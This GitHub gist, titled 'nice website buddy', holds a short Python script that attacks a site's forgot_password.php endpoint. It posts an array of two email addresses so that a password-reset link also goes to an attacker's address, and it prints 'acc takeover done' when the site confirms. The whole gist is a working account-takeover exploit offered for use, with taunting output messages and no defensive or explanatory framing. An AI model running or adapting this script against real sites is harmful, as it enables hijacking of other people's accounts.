Skip to content

Instantly share code, notes, and snippets.

@eeeeeeeeeevan
Last active July 9, 2025 06:20
Show Gist options
  • Save eeeeeeeeeevan/fd681e2d8b1b9a2b57ff542d34126874 to your computer and use it in GitHub Desktop.
Save eeeeeeeeeevan/fd681e2d8b1b9a2b57ff542d34126874 to your computer and use it in GitHub Desktop.
nice website buddy
import requests
TARGET = "https://?/forgot_password.php"
EMAIL1 = ""
EMAIL2 = ""
payload = {
'email[]': [EMAIL1, EMAIL2],
'submit': 'Reset Password'
}
print(TARGET)
print(f"payload: {payload}")
try:
response = requests.post(TARGET, data=payload)
print(f"\nstat:{response.status_code}")
print(f"trimmed resp: \n{response.text[:500]}...")
if "a reset link has been sent" in response.text:
print("\nacc takeover done")
else:
print("\ngames gone\n")
except requests.exceptions.ConnectionError as e:
print(f"\ngg nvm")
print(e)
print("\ndone")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment